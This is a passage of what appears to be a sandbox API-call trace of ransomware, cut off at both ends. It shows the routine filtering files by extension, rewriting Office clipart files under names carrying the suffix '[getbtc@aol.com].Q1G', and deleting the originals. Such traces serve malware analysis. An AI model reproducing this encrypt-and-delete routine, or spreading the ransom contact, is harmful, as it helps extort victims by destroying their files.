lpString2=".WMF") returned -1 [0244.966] lstrlenW (lpString=".xls") returned 4 [0244.966] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0244.966] lstrlenW (lpString=".xlsx") returned 5 [0244.966] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0244.966] lstrlenW (lpString=".ppt") returned 4 [0244.966] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0244.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 63 [0244.966] lstrlenW (lpString=".zip") returned 4 [0244.967] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0244.967] lstrlenW (lpString=".rar") returned 4 [0244.967] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0244.967] lstrlenW (lpString=".bz2") returned 4 [0244.967] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0244.967] lstrlenW (lpString=".7z") returned 3 [0244.967] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0244.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 63 [0244.967] lstrlenW (lpString=".dbf") returned 4 [0244.967] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0244.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 63 [0244.967] lstrlenW (lpString=".1cd") returned 4 [0244.967] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0244.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 63 [0244.967] lstrlenW (lpString=".jpg") returned 4 [0244.967] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0244.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 63 [0244.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 63 [0244.967] lstrlenW (lpString=".doc") returned 4 [0244.967] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0244.967] lstrlenW (lpString=".docx") returned 5 [0244.967] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0244.967] lstrlenW (lpString=".pdf") returned 4 [0244.967] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0244.967] lstrlenW (lpString=".xls") returned 4 [0244.967] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0244.967] lstrlenW (lpString=".xlsx") returned 5 [0244.967] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0244.967] lstrlenW (lpString=".ppt") returned 4 [0244.968] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0244.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 63 [0244.968] lstrlenW (lpString=".zip") returned 4 [0244.968] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0244.968] lstrlenW (lpString=".rar") returned 4 [0244.968] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0244.968] lstrlenW (lpString=".bz2") returned 4 [0244.968] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0244.968] lstrlenW (lpString=".7z") returned 3 [0244.968] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0244.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 63 [0244.968] lstrlenW (lpString=".dbf") returned 4 [0244.968] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0244.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 63 [0244.968] lstrlenW (lpString=".1cd") returned 4 [0244.968] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0244.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 63 [0244.968] lstrlenW (lpString=".jpg") returned 4 [0244.968] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0244.968] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0244.968] lstrlenW (lpString="BS00076_.WMF") returned 12 [0244.968] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00076_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0245.064] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=1330) returned 1 [0245.064] CloseHandle (hObject=0x37c) returned 1 [0245.064] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00076_.wmf")) returned 0x20 [0245.104] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00076_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0245.139] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00076_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0245.263] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0245.263] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0245.263] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00076_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0245.338] GetLastError () returned 0x0 [0245.338] ReadFile (in: hFile=0x3b0, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x532, lpOverlapped=0x0) returned 1 [0245.339] WriteFile (in: hFile=0x37c, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x540, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x540, lpOverlapped=0x0) returned 1 [0245.341] ReadFile (in: hFile=0x3b0, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0245.341] WriteFile (in: hFile=0x37c, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0245.341] SetEndOfFile (hFile=0x37c) returned 1 [0245.341] CloseHandle (hObject=0x37c) returned 1 [0245.341] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0245.341] SetEndOfFile (hFile=0x3b0) returned 1 [0245.371] CloseHandle (hObject=0x3b0) returned 1 [0245.371] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0245.659] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00076_.wmf")) returned 1 [0245.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 63 [0245.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 63 [0245.732] lstrlenW (lpString=".doc") returned 4 [0245.732] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0245.732] lstrlenW (lpString=".docx") returned 5 [0245.732] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0245.732] lstrlenW (lpString=".pdf") returned 4 [0245.732] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0245.732] lstrlenW (lpString=".xls") returned 4 [0245.732] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0245.732] lstrlenW (lpString=".xlsx") returned 5 [0245.732] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0245.732] lstrlenW (lpString=".ppt") returned 4 [0245.732] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0245.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 63 [0245.732] lstrlenW (lpString=".zip") returned 4 [0245.732] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0245.732] lstrlenW (lpString=".rar") returned 4 [0245.733] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0245.733] lstrlenW (lpString=".bz2") returned 4 [0245.733] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0245.733] lstrlenW (lpString=".7z") returned 3 [0245.733] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0245.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 63 [0245.733] lstrlenW (lpString=".dbf") returned 4 [0245.733] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0245.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 63 [0245.733] lstrlenW (lpString=".1cd") returned 4 [0245.733] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0245.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 63 [0245.733] lstrlenW (lpString=".jpg") returned 4 [0245.733] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0245.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 63 [0245.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 63 [0245.733] lstrlenW (lpString=".doc") returned 4 [0245.733] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0245.733] lstrlenW (lpString=".docx") returned 5 [0245.733] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0245.733] lstrlenW (lpString=".pdf") returned 4 [0245.733] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0245.733] lstrlenW (lpString=".xls") returned 4 [0245.733] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0245.733] lstrlenW (lpString=".xlsx") returned 5 [0245.733] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0245.733] lstrlenW (lpString=".ppt") returned 4 [0245.733] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0245.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 63 [0245.733] lstrlenW (lpString=".zip") returned 4 [0245.733] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0245.733] lstrlenW (lpString=".rar") returned 4 [0245.733] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0245.733] lstrlenW (lpString=".bz2") returned 4 [0245.733] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0245.733] lstrlenW (lpString=".7z") returned 3 [0245.734] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0245.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 63 [0245.734] lstrlenW (lpString=".dbf") returned 4 [0245.734] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0245.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 63 [0245.734] lstrlenW (lpString=".1cd") returned 4 [0245.734] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0245.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 63 [0245.734] lstrlenW (lpString=".jpg") returned 4 [0245.734] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0245.734] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0245.734] lstrlenW (lpString="BS00442_.WMF") returned 12 [0245.734] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00442_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0245.742] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=2488) returned 1 [0245.742] CloseHandle (hObject=0x398) returned 1 [0245.742] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00442_.wmf")) returned 0x20 [0245.742] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00442_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0245.742] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00442_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0245.742] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0245.742] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0245.742] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00442_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0245.743] GetLastError () returned 0x0 [0245.743] ReadFile (in: hFile=0x398, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x9b8, lpOverlapped=0x0) returned 1 [0245.744] WriteFile (in: hFile=0x394, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x9c0, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x9c0, lpOverlapped=0x0) returned 1 [0245.745] ReadFile (in: hFile=0x398, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0245.745] WriteFile (in: hFile=0x394, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0245.745] SetEndOfFile (hFile=0x394) returned 1 [0245.745] CloseHandle (hObject=0x394) returned 1 [0245.745] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0245.745] SetEndOfFile (hFile=0x398) returned 1 [0245.747] CloseHandle (hObject=0x398) returned 1 [0245.747] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0245.748] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00442_.wmf")) returned 1 [0245.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 63 [0245.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 63 [0245.748] lstrlenW (lpString=".doc") returned 4 [0245.748] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0245.748] lstrlenW (lpString=".docx") returned 5 [0245.748] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0245.748] lstrlenW (lpString=".pdf") returned 4 [0245.748] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0245.748] lstrlenW (lpString=".xls") returned 4 [0245.748] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0245.748] lstrlenW (lpString=".xlsx") returned 5 [0245.748] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0245.748] lstrlenW (lpString=".ppt") returned 4 [0245.748] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0245.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 63 [0245.748] lstrlenW (lpString=".zip") returned 4 [0245.749] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0245.749] lstrlenW (lpString=".rar") returned 4 [0245.749] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0245.749] lstrlenW (lpString=".bz2") returned 4 [0245.749] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0245.749] lstrlenW (lpString=".7z") returned 3 [0245.749] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0245.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 63 [0245.749] lstrlenW (lpString=".dbf") returned 4 [0245.749] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0245.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 63 [0245.749] lstrlenW (lpString=".1cd") returned 4 [0245.749] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0245.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 63 [0245.749] lstrlenW (lpString=".jpg") returned 4 [0245.749] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0245.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 63 [0245.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 63 [0245.749] lstrlenW (lpString=".doc") returned 4 [0245.749] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0245.749] lstrlenW (lpString=".docx") returned 5 [0245.749] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0245.749] lstrlenW (lpString=".pdf") returned 4 [0245.749] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0245.749] lstrlenW (lpString=".xls") returned 4 [0245.749] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0245.749] lstrlenW (lpString=".xlsx") returned 5 [0245.749] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0245.749] lstrlenW (lpString=".ppt") returned 4 [0245.749] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0245.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 63 [0245.749] lstrlenW (lpString=".zip") returned 4 [0245.749] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0245.749] lstrlenW (lpString=".rar") returned 4 [0245.750] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0245.750] lstrlenW (lpString=".bz2") returned 4 [0245.750] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0245.750] lstrlenW (lpString=".7z") returned 3 [0245.750] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0245.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 63 [0245.750] lstrlenW (lpString=".dbf") returned 4 [0245.750] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0245.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 63 [0245.750] lstrlenW (lpString=".1cd") returned 4 [0245.750] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0245.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 63 [0245.750] lstrlenW (lpString=".jpg") returned 4 [0245.750] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0245.750] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0245.750] lstrlenW (lpString="BS00444_.WMF") returned 12 [0245.750] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00444_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0245.751] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=3896) returned 1 [0245.751] CloseHandle (hObject=0x398) returned 1 [0245.751] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00444_.wmf")) returned 0x20 [0245.752] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00444_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0245.752] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00444_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0245.752] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0245.752] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0245.752] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00444_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0245.753] GetLastError () returned 0x0 [0245.753] ReadFile (in: hFile=0x398, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0xf38, lpOverlapped=0x0) returned 1 [0245.755] WriteFile (in: hFile=0x394, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xf40, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xf40, lpOverlapped=0x0) returned 1 [0245.756] ReadFile (in: hFile=0x398, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0245.756] WriteFile (in: hFile=0x394, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0245.756] SetEndOfFile (hFile=0x394) returned 1 [0245.756] CloseHandle (hObject=0x394) returned 1 [0245.756] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0245.756] SetEndOfFile (hFile=0x398) returned 1 [0245.758] CloseHandle (hObject=0x398) returned 1 [0245.759] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0245.759] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00444_.wmf")) returned 1 [0245.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 63 [0245.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 63 [0245.761] lstrlenW (lpString=".doc") returned 4 [0245.761] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0245.761] lstrlenW (lpString=".docx") returned 5 [0245.762] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0245.762] lstrlenW (lpString=".pdf") returned 4 [0245.762] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0245.762] lstrlenW (lpString=".xls") returned 4 [0245.762] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0245.762] lstrlenW (lpString=".xlsx") returned 5 [0245.762] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0245.762] lstrlenW (lpString=".ppt") returned 4 [0245.762] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0245.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 63 [0245.762] lstrlenW (lpString=".zip") returned 4 [0245.762] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0245.762] lstrlenW (lpString=".rar") returned 4 [0245.762] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0245.762] lstrlenW (lpString=".bz2") returned 4 [0245.762] lstrcmpiW 